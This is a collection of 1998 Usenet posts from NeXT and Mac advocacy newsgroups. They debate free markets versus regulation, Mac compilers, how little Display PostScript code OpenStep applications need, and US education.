> long history in economic theory, but the mathematical underpinning comes
> from irrelevant linear quasi-equilibrium economics (in a spurious analogy to
> thermodynamics) and totally unrealistic separable "utility" functionals.
I may be wrong, but I think you're trying to snow in the conversation
1) By introducing irrelevant terms and concepts
2) By making ridiculous claim as to the nature of my position with zero
precedent whatsoever
I don't know of anybody who claims that the mathematical underpinning of
free-market economics is "linear quasi-equilibrium economics (in a
spurious analogy to thermodynamics)". I'm not familiar with that
literature.
I *am* familiar with a centuries-long tradition of political science and
economic theory that has stabilized markets, restrained government, and
enriched countless Western markets since approximately the creation of
the first Libertarian (to be precise, what Richard Maybury calls a
"Juris Naturalist") society in the known history of the world, over two
hundred years ago.
The root of this science/theory proposition is the idea that economics
are a natural system that is self-perpetuating, self-refreshing, and
self-regulating. A corollary of the principle is that external
intervention in this system, as in *all* natural systems, is unnatural
and irrevocable alteration of the system according to unnatural
patterns.
Come now, as a physicist, I assume you're at least marginally familiar
(probably much more than that) with high-energy and subatomic physics.
What does the nature of external participation in subatomic physical
systems yield, Matt? Startling results? Undeniable results?
The almost-inevitable destruction of the system itself?
> Telephone and utility deregulation are great examples, because there are all
> sorts of things which are still regulated (like how "slamming" is illegal),
> but regulated in a way so that the consequence of competitive market
> dynamics inside the laws turn out beneficial for society as a whole.
Utterly false. You cannot demonstrate that the overall effect of
government intervention in the telephone and utility markets is
positive. I can, however, demonstrate convincingly that the effect is
negative.
Again, I quote Richard Maybury:
"A juris naturalist believes government should be used to solve
problems only in cases where the benefits are clearly greater than the
costs. This means all costs, hidden as well as visible.
"The juris naturalist may not be able to prove it but he
strongly
suspects that in all cases of government activity, the total costs to
all persons affected are greater than total benefits."
> That's the point! If it doesn't give the proper outcome we change the rules.
> It is naive to believe that the structure of society and markets today isn't
> the result of many conscious human choices, not something "natural".
All of which yields a continual process of "tinkering" with a known
system to achieve results that
1) cannot be defined
2) cannot be measured
3) are invariably accompanied by substantial unintended consequences
The philosophy that claims government can take an existing closed
system, with inherent rules, mechanisms, and pathways, change single
variables and introduce unilateral new mechanisms, and come up with an
inherently *superior* system, is situational ethics at its core. It
claims that incremental, non-rational action on behalf of *part* of a
system can result in net good for the *entire* system.
It's also masqueraded at fascism, Divine Right kingship, and benevolent
dictatorship (enlightened despotism). All failures, both economically
and socially.
> As empirical experience has told us, often times well structured markets do
> better than direct control of managerial decisions. But not always---or at
> least, oftentimes rules need to be defined to channel market forces into
> socially beneficial directions instead of harmful ones.
Only when the "benefits" are defined in terms of *external*
decision-making, and the negative effects are ignored completely. This
sort of expedience is at the root of modern legislation's ability to
rationalize away the natural growth of the private sector in terms of
"corporate greed", "dirty profits", and, worst of all, "targeting
youth".
Translated, all of this basically says that we, as a nation, are
demonizing market growth and lionizing efforts to regulate based on
convenient, short-term circumstance. It's the sort of thinking that
makes a public crisis out of health care when, in fact, the country is
healthier than it has ever been, due in the largest part to a strong
economy, rising disposable incomes, and rising quality of life.
> It takes experience
> and wisdom and appreciation for historical precedent and human nature, as well
> as attention to the specific details of the kind of market.
>
> I see 'regulation' by all sorts of people everywhere, it's what *defines*
> markets.
As I've already said, regulation as it refers to the natural homeostasis
of the free-market system is inevitable and beneficial. Nobody is
directly reponsible for this "regulation", nor is it an external
influence on a closed, stable system. It stands in marked contrast to
Federal "regulation", which bears an entirely different meaning.
> :The efforts you speak of (by "economists, bureaucrats, and lawmakers")
> :are purposed to *remove* regulations enacted by previous economists,
> :bureaucrats, and lawmakers.
>
> And replace them with other sorts of regulations.
So, I ask you: when will we end the New Deal experiment, proclaim it a
vast failure of comprehensive regulatory action, and leave the market to
its original course?
> :Are you asking me to take revocatory action
> :as evidence of the positive effect of proaction on the part of Federal
> :regulators?
>
> No, that's not it; surely eliminating fare regulation is desirable *now*
> that technology and the market structure is sufficiently mature to promote
> authentic competition, but the notion that if some regulations are bad, then
> the rest are too, is quite foolish. At one point , e.g. 1930's technology,
> fare regulation really was probably the best decision; the alternative being
> unregulated gouging of natural monopol..
Interesting that you should say that, now that France (the size of New
England, roughly?) has eight national wireless carriers and is currently
enjoying widespread adoption of third-generation GSM digital standards,
while the backwater United States digital market is just getting to its
feet due to crippling Federal regulations. Interesting that as we
unravel the devastating red tape from one of the country's most
important industries, you should claim to have knowledge of the net
positive effect of this regulation.
> :You're saying that a commercial relationship does *not* naturally exist
> :between human beings...is that right?
>
> Yes, in anything resembling current anglo-derived capitalism, unless you
> water down "commercial relationship" into the most vague ''fuzzitudes''.
'Fuzzitudes'. I'm going to have to ask you to define that for me.
I guess what I mean by capitalism is a reference to a natural system
that requires no governmental intervention. That would stand in contrast
to mercantilism, for instance (one of your favorites, maybe?), or
feudalism, both of which require the involvement of a State (hence the
term "statism" to describe such government-fueled notions of
socioeconomic affairs).
If you don't think that that system exists naturally, maybe you could
demonstrate how it was *created* by the government it doesn't need in
the first place? Perhaps you can explain how the buyer/seller,
employer/employee, and competitor/competitor relationships arose? I
suppose they sprang fully-formed from Adam Smith's mind, but that
doesn't sound quite right.
> :Actually, it appears you're going farther than that: that commerce does
> :not exist without rational comprehensive establishment by governmental
> :authority, is that right?
>
> That people have societies and interact and such interaction sometimes
> involves obligations of materials and labor, in the most extended
> definitions---yes, that sort of society is biologically natural. Anything
> more? Calling it 'commerce' is a stretch.
Commerce arises naturally *in the absence of government regulation*.
Period. Economies which are directly derived from governmental, powerful
action are formed by the *revocation* of liberty to establish commerce,
not the other way around.
Go ahead, show me the section of the Constitution that *establishes* a
free-market. Please, I'm all ears.
> Consider the profound mutual incomprehension over fundamental values and
> notions of property, possession and work between Western settlers and
> indigenous aboriginal societies. Australia had what may be as ''pure''
> human settlement without outside interaction for 40,000 years.
Uh, tribal structure is liberty-based? Are you comparing the concept of
individual liberty to the oppressive dictatorial regime inherent in
tribal society? Please, who did you think you'd fool with that Rousseau
bullshit?
> :I don't see your point whatsoever. My statement posits the existence of
> :a demand curve, period. My statement doesn't say anything whatsoever
> :with regard to monopolies, nor to any moral or legal justification for
> :the same.
>
> You said "it's self evident in a free market". I guess that much is true,
> that demand curves exist in free markets, but they also exist in non-free
> ones, which is my point.
So what?! I don't claim that any individual attribute of the free-market
economy is unique to the free-market economy.
[cut]
> :Well, I'm sorry you're annoyed. It's just that I don't envision
> :government's existence being (even partly) justified by its ability to
> :reduce the influence of "annoying things". Call me a "big picture" type
> :of guy, I dunno.
>
> "slamming" is both 'annoying' and fraudulent.
I guess that's why Frontier Communications and GTE run commercials in my
area describing the practice, explaining why it's bad for consumers, and
encouraging them to pay attention to the affairs of their
telecommunications providers, all in order to influence the customer one
way or another. In a free society, companies have the right to free
speech and press, so they can pretty much communicate freely with their
customers. This guarantees the right of competitors to petition their
markets and present better alternatives. Not surprisingly, we call this
notion "competition".
What do you call it? "Annoying"?
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 23:39:07 GMT
Organization: I don't think so
Message-ID: <slrn6jd5rl.7n1.jason@jhste1.dyn.ml.org>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <geordie-1604981258310001@130.130.117.53> <35365564.6C61@CONVEX.COM> <geordie-1604981635370001@130.130.117.53> <35368CBE.7563@CONVEX.COM>
Michael Peck wrote:
>> :Your statement is like saying that the only way to fly coast to coast is
>> :via airplane. ^^^
>> Unless you are bird brained it is the only way I know of to *fly*. ;-)
>Here in Dallas we have many contraptions the local engineers call
>"helicopters", and it is rumored that many people have been making
>flights in lighter-than-air ships, although I don't believe them. One
>person even claims that men have been to the moon in an explosive
>vessel, although the absurdity of this should be obvious.
Coast-to-coast in a Saturn V - now that's an interesting thought...
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 17 Apr 1998 01:44:55 +0200
Organization: Completely Disorganized
Message-ID: <1d7lsuv.o26i353ef874N@rhrz-isdn3-p4.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com> <6h40he$rgu$2@ha2.rdc1.sdca.home.com> <6h43mj$fr9$1@news.digifix.com> <B15B0A02-19BCA8@207.217.155.85> <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BA0C1-2D6BC@207.217.155.43>
Brad Hutchings <brad@hutchings-software.com> wrote:
> No, I wouldn't be happier. 80/20 applies here. Metrowerks code is good
> enough. More importantly, it supports all of the Mac runtime models going
> way back, including some like Direct-to-SOM, that many would argue should
> just die.
Direct-to-SOM will not die. Besides it usefulness for OpenDoc it's handy
for contextual menu plugins and, IIRC, text encoding converter modules.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 17 Apr 1998 01:44:58 +0200
Organization: Completely Disorganized
Message-ID: <1d7lsyf.sk8ovhzst6cyN@rhrz-isdn3-p4.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com> <6h40he$rgu$2@ha2.rdc1.sdca.home.com> <6h43mj$fr9$1@news.digifix.com> <B15B0A02-19BCA8@207.217.155.85> <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BA0C1-2D6BC@207.217.155.43> <slrn6jc76q.9i.jason@jhste1.dyn.ml.org>
Jason S. <jason@jhste1.dyn.ml.org> wrote:
> Why not do the final build with the Moto compiler (much better than gcc)?
Well, how does its interpretation of the (draft) C++ standard compare to
the interpretation of the Metrowerks compiler?
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 17 Apr 1998 02:14:42 +0200
Organization: Completely Disorganized
Message-ID: <1d7ly5b.1npyjr41v3wdwN@rhrz-isdn3-p4.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote:
> I don't think the lack of seeds is *any* impediment to active development
> of Applications.
That may be the rub. Not everyone is developing applications :-O
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: Joakim Johansson <no@more.spams>
Newsgroups: comp.sys.next.advocacy
Subject: The amount of PS hackery needed - not much! Was: Re: Apple developer program
Date: 17 Apr 1998 00:33:16 GMT
Organization: Research & Trade AB
Distribution: world
Message-ID: <6h680c$is@baldwin.rat.se>
References: <3534431D.AD9C2AA6@trilithon.com>
Henry McGilton <henry@trilithon.com> writes
> Lawson English wrote:
>
> <<<<< standard nonsense snipped >>>>>
>
> * Mike Paquette works for Apple.
> And works bloody hard, too.
> * Other people program using DPS
> very few people "program using DPS". This is one of the standard
> items of mythology promulgated by the anti-OpenStep faction. The
> amount of *PostScript* programming necessary in any run-of-the-mill
> OpenStep application is down around the one percent region. I
> posted a long letter to this effect to one of the UNIX rags
> a few years back (trying to rebut the dissemination of FUD at
> the time) and they refused to publish it. I will attempt to
> dig up the statistics I gathered at the time that demonstrated
> how little *PostScript* programming is required in OpenStep
> applications.
I just thought I'd provide a data point, checking
two of our applications (both have charting capabilities
(including a user-rotatable PS 3D graph) and some custom
spreadsheet-like views etc, it's probably
reasonably representative for your average application)
Counting Objective-C source files and
vanilla C source files (excluding header files)
comparing it with the amount of actual PS code.
One application had around 150.000 lines of code, of
which 173 were PostScript. (to calculate the
percentage of PS code in the application is left
as an excercise for the reader...)
The other application had around 40.000 lines
of code, of which 149 was PS...
It's not like we have to spend the majority
of our days reading the Purple/Red Books... ;-)
YMMV...
Joakim
--
Joakim Johansson
Software Engineer, Research & Trade
jockeNO@SPAMrat.se <NeXTmail, MIME>
http://www.rat.se/
From: Michael Bartosh <mab9718@pop.tamu.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: Wed, 15 Apr 1998 19:49:24 -0600
Organization: HiEd, Inc.
Message-ID: <3535639F.B4A71934@pop.tamu.edu>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <6h53jl$9sp$10@ironhorse.plsys.co.uk> <6h5dl2$fne$3@news01.deltanet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 17 Apr 1998 00:50:34 GMT
To: Scott Ellsworth <scott@eviews.com>
>
> 3. Rhapsody is going to be marketed as a server OS. If they look
> at this in the right way, they might well decide that developers
> getting only the $200 CD mailing do not need access to such a
> powerful server OS. MS does much the same thing with NT
> Server, but MS does put NT Workstation on those disks, and
> if a program works with NT Workstation, it is very likely to work
> with NT Server.
>
NO NO NO NO NO! Geez why does this persist? Anyone thinking Rhapsody is only,
or even mainly, going to be a server OS is soooooo smoking the harshest crud-
c'mon. Get real. What's your source, btw? Hmmm?
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 01:09:06 GMT
Organization: I don't think so
Message-ID: <slrn6jdb4c.88l.jason@jhste1.dyn.ml.org>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org> <B15BE559-12F47A@207.217.155.43>
Brad Hutchings wrote:
>>Why not do the final build with the Moto compiler (much better than gcc)?
>Does the Moto compiler do Direct-to-SOM? Geez, Jason, this is such 90/10
>issue. If the Metrowerks compiler were delivery poorly executing code (it
>doesn't for most developers, BTW), one might optimize portions of code in C
>and compile with the Motorola compilers. Or, one might code really small
>portions of code in Assembly. Consistency with the runtime models is far
>more important than squeezing 10% performance of code that otherwise, ahem,
>WOULDN'T EXECUTE!!
Since I don't know what Direct-to-SOM entails, I can't answer. I do think that
the performance boost for C code that Moto provides is a lot more than 10%
(hell, egcs beats MW by more than 10% on BYTEmarks) - probably closer to
40% in some cases.
>>(I won't comment on the "screwing with Makefiles" remark, except to note
>>that Linux, a far better OS than anything Apple has ever released to the
>>public, was built in a few years by a bunch of volunteers who were
>"screwing
>>with Makefiles.")
>I will. While the Linux Luddites are screwing with makefiles, Metrowerks
>users were writing software for MacOS THAT MATTERS!! Deal with it. Anyone
>notice that the Linux movement arose about the same time that Ross Perot's
>movement faded into irrelevancy? Coincidence? I think not.
Ah, we Linux Luddites with our _stable_ systems and open standards. Let
me ask you this - do OpenDocs parts (like yours) really MATTER, now that
Apple has killed both CD and OD? All those X11 apps written in vi or
emacs with GNU make and gcc MATTER plenty - probably more than apps written
around the Apple Fad of the Week(tm).
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 17 Apr 1998 01:05:07 GMT
Organization: @Home Network
Message-ID: <6h69s3$cih$1@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net>
<ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
<MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu>
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Cc: don.brown@cesoft.com
In <MPG.f9f4a88904b40549898b5@news.supernews.com> Donald Brown wrote:
> In article <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>, rriley@yahoo.com
> says...
> > > Agreed. Part of the problem is that it is perceived as free. If parents
> > > realized how much of their tax dollars went to public education, they
> > > might put a little more spirit behind things.
> >
> > You haven't been putting your dollars into the tax system long enough if
you
> > think parents see it as free, gratis. The real problem is that
BabyBoomers
> > are going to hit the retirement roles and push education taxes way down to
> > save their retirement earnings.
>
> Disagree here. It's far too easy to have a disconnect between "I am
> paying too much in taxes" and "Hey, free governmental services!"
>
>
Well, that isn't the way it played out in NY, Westchester County, when the
retirees coalesced into a voting block against education to protect their
fixed retirement earnings.
> > > >If you have a sufficiently motivated student, nothing can stop him or
her
> > > >from learning. Without that motivation, well, you can lead a horse to
> > > >water...
> > >
> > > True. But motivation doesn't come out of thin air. That motivation comes
> > > from somewhere - from parents, from the environment itself. If a school
is
> > > rundown and the teachers are unmotivated, what does the student have to
> > > draw on for motivation?
> > >
> > > >It'd be nice if the solution was "just add money". There probably are
> > > >situations where more money is needed. But, unless we fix the
underlying
> > > >problems, we'll be just throwing good money after bad.
> > >
> > >
> >
> > Its called involvement and accountability. The current system has too
little
> > of both. Kids are smart and pick-up cues quickly. They get the "score"
and
> > "interest" in their education real early. They know when they have a
shitty
> > teacher. The fact that there is no accountability and involvement
sentences
> > them to whatever the "system" chooses to hand them. Fatalistic, cynical
and
> > apathetic students are produced. Voila...
>
> Exactly. Though, I will add some external problems too. Look at the
> disdain "geek" are given. (Even now, when brain power is paying off
> bigtime for some people, it's turned into a joking horror "you'll be
> working for that geek".) In SOME inner cities, being educated is "acting
> white".
>
>
Don't even go there. I watched a bright, eager daughter get pummelled in the
middle school years. As these kids go into that "grunge" or "baggy" sexual
identity phase, it ain't cool to be smart AND prove it. Those were some long
nights... getting past the girls stereotypes.
[snip future work paths for kids ]
>
> True. Although, the technology is also making knowledge more accessible-
> -the home schoolers are among the biggest consumers of quality
> educational software and do a lot of work on the Internet.
>
> These technologies will never REPLACE a good teacher. But, once the
> student is reved up, ready to go, and has a clear task in mind, they can
> be great to pursue them. The problem with the push to put computers and
> the Internet in the school, is that without students ready to use it, the
> Internet is just a place to go find dirty pictures.
>
>
I'm not a fan of "Technology" as the "Solution" for our kids and their
education. Too expensive, too slow and too high a "geek" factor. I do think
Digital Video has tremendous potential to cannonize the truly "Great"
lecturers, teachers, curriculae where student respond through charismatic
motivation.
> Like I said, I'm feeling hopeful. I see more interest in this technology
> in getting people want to learn enough to deal with it. I also wonder
> about these tests that supposedly show we're so far behind. I don't know
> what year Napoleon was defeated, nor do I care. If you want me to
> calculate a square root (other than those of integers less than 13), I'm
> going to grab my calculator. I think there are real weaknesses that need
> to be addresed, but we may not be as bad off as we think.
>
>
America has always found Yankee Ingenuity to bootstrap ourselves to uncharted
challenges. Test scores, as you imply, are only one way to measure progress.
The degree to which American based corporations are dependent upon knowledge
based talent from foreign countries is alarming. I believe that the education
system categorically failed Capitalism. In its place Capitalism has
globalized around a monolith of institutionalized bureuacracy and gone "Free
Market" for its resource pool.
I get no such "hopeful feeling". The education system in the US failed...
yours, mine and everyone elses kid is going to compete post .edu globally for
his livelyhood. Not that, that is all bad. But education? It doesn't
compete globally, does it?
-r
Rex Riley
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 98 16:41:44 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15BE559-12F47A@207.217.155.43>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.next.advocacy
Jason asks:
>Why not do the final build with the Moto compiler (much better than gcc)?
Does the Moto compiler do Direct-to-SOM? Geez, Jason, this is such 90/10
issue. If the Metrowerks compiler were delivery poorly executing code (it
doesn't for most developers, BTW), one might optimize portions of code in C
and compile with the Motorola compilers. Or, one might code really small
portions of code in Assembly. Consistency with the runtime models is far
more important than squeezing 10% performance of code that otherwise, ahem,
WOULDN'T EXECUTE!!
>(I won't comment on the "screwing with Makefiles" remark, except to note
>that Linux, a far better OS than anything Apple has ever released to the
>public, was built in a few years by a bunch of volunteers who were
"screwing
>with Makefiles.")
I will. While the Linux Luddites are screwing with makefiles, Metrowerks
users were writing software for MacOS THAT MATTERS!! Deal with it. Anyone
notice that the Linux movement arose about the same time that Ross Perot's
movement faded into irrelevancy? Coincidence? I think not.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 98 16:51:40 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15BE7A4-137E5A@207.217.155.43>
References: <6h5qpt$neu$3@news.xmission.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Don Yacktman wrote:
>Just because Scott hasn't been visible to _you_ until 16 months ago
doesn't
>mean he wasn't around for a long time before that. He's been a Mac
developer
>for longer than he's been a NeXT developer.
I stand corrected. Seniority aside then, what's difficult to understand
about why Metrowerks is the established tools provider here? They have a
superior product, they continue to improve it, they've saved Apple's butt
once, and a few toes on other occasions. They're the most customer focussed
tools vendor around today. If you have any doubts, spend the $400 to become
a customer, and if you find shortcomings in their product that affect your
ability to build yours, submit a meaningful bug or feature request. I
actually use Metrowerks as a benchmark for how I treat my customers.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 98 17:56:40 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15BF6E2-1712F2@207.217.155.43>
References: <1d7lsuv.o26i353ef874N@rhrz-isdn3-p4.rhrz.uni-bonn.de>
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nntp://news.earthlink.net/comp.sys.next.advocacy
>Direct-to-SOM will not die. Besides it usefulness for OpenDoc it's handy
>for contextual menu plugins and, IIRC, text encoding converter modules.
>
>Michael
And now, with CodeWarrio Pro 3, the 68K compiler does DTSOM correctly!!
Thanks Metrowerks!!
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The amount of PS hackery needed - not much! Was: Re: Apple developer program
Date: 17 Apr 1998 02:00:17 GMT
Organization: MiscKit Development
Message-ID: <6h6d3h$neu$5@news.xmission.com>
References: <3534431D.AD9C2AA6@trilithon.com> <6h680c$is@baldwin.rat.se>
Joakim Johansson <no@more.spams> wrote:
> One application had around 150.000 lines of code, of
> which 173 were PostScript. (to calculate the
> percentage of PS code in the application is left
> as an excercise for the reader...)
~ 0.12%
If the time per line of code is the same for every line (which it isn't, but
we'll make the simplification anyway) that amounts to 2 hours and 24 minutes
worth of work, based on 52 weeks/year at 40 hours/week. Not a whole lot of
time. If you're doing a corporate MCCA, the amount of time you write DPS
code is probably nil, zero, zilch, nada. There are usually not very many
graphics needed there!
> The other application had around 40.000 lines
> of code, of which 149 was PS...
~ 0.3% (7 hours, 45 minutes per year)
Let's give another example. The MiscKit is rich in custom GUI controls.
This is the place where you use DPS the most often--creating custom widgets.
There's a tab view, a progress meter, a circular "speedometer" like gauge, an
arrow button that flips between two choices, a table view written from
scratch, a circular slider (slider that looks like a ring) and more. Lots of
DPS in there, right? Well, there's definitely a higer percentage:
93769 total lines of code
693 are lines of DPS
~ 0.74% (15 hours and 22 minutes per year)
Not good enough? Well, there's that app that I wrote about on Stepwise--that
enhanced Draw called "Opus". It has tons of custom PS effects in it. How's
it weigh in?
34151 total lines of code
666 are lines of DPS (no comment! ;-) )
~ 1.95% (40 hours 34 minutes per year)
I guess those gradients did take a little bit of work. :-) Actually, a lot
of that code is used by the part of the program that lets you take some text
in an arbitrary font and suck its path into a bezier object and hand edit the
whole shmear. (Not bad for an early 90's app!) That's still a ridiculously
small amount of DPS, considering the level of drawing complexity that the app
supported. (Various gradients, text on an arc or arbitrary path, warping
text, yadda yadda yadda.) In fact, I'm surprised that it clocks in so low on
total lines of code, given the app's power. That sure is a testament to the
power of Yellow Box! (Of course we spent what, only maybe 2-3 months, part
time, writing it..)
So even in the most graphics heavy situation I can think of, we're still
talking about very little DPS code. I mean, for a full time OPENSTEP guy,
they'd be lucky to spend a week out of the year doing DPS. They're probably
doing a lot less. In my examples above, of course there is more graphics
code (by far) than DPS code, but it is hard to split that out and count it
since the wc command doesn't understand programming contexts. :-) Most of
the drawing is done in Objective-C using the AppKit. It is easy to see why I
have always maintained that the OPENSTEP graphics model is _not_ just DPS.
You _have_ to take DPS _and_ the AppKit into account--most drawing is done
using objects and functions found there, and not with DPS directly. And
Yellow Box will be even more so, since now there are several more objects
that can be used to further hide the DPS APIs.
Now, of course Lawson, et al, will continue to propagate the lie that we
spend nearly all our lives hacking just DPS, despite the fact these are hard
numbers for real projects and we're the ones that have used it and program it
daily, and he has NO practical experience. (I predict this based on past
behavior. DejaNews is my witness, in that Lawson Lies thread that went
around last year.)
> It's not like we have to spend the majority
> of our days reading the Purple/Red Books... ;-)
Yes, but it should be obvious that we spend more time reading them, per line
of code that we write, than we should. The reason is simple: we do so
little PS programming that we forget the PS language details and have to look
them up because they get forgotten over time. Well, perhaps I speak only for
myself...
I know _I_ forget them, since I find that the numbers above are about right
for me. I do DPS work about once a year, if that, for only a few hours. It
is pretty darned easy to get rusty on a skill you only use once a year. On
the other hand, I've read all the books, and I've used DPS, so I'm still
pretty comfortable with it. The practical experience counts for a lot. For
proof, just look at Lawson, who claims to have read the books, quotes from
them often enough, and doesn't seem to understand how PS works, given that
his statements about PS are usually flat out wrong. Anyway, the concepts
stay in my head pretty well because personal experience is a pretty easy
thing to remember; just the specifics fade with disuse, and the red book
fixes that quick enough. Not to mention that DPS programming is terribly
easy anyway. For anyone used to an HP RPN (stack based) calculator, anyway.
:-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: rlincoln@az.com (Robb Lincoln)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Thu, 16 Apr 1998 19:41:03 -0800
Organization: Network Internet Services (516) 543-0234
Message-ID: <rlincoln-1604981941040001@seawesta-91.az.com>
